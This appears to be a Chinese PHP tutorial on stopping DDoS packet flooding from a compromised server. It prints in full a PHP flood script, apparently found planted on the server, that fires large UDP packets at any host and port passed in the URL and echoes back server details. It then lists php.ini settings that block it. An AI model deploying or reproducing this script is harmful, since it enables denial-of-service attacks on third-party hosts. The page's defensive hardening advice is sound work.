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Homephp教程php手册php的ddos攻击解决方法,phpddos攻击

php的ddos攻击解决方法,phpddos攻击

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

复制代码 代码如下:

set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }
 
for($i=0;$i         $out .= "A";
    }
 
$max_time = time()+$exec_time;
 
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
 
echo "Send Host:$host:$port

";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>


关键代码在于如下:

复制代码 代码如下:

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

复制代码 代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

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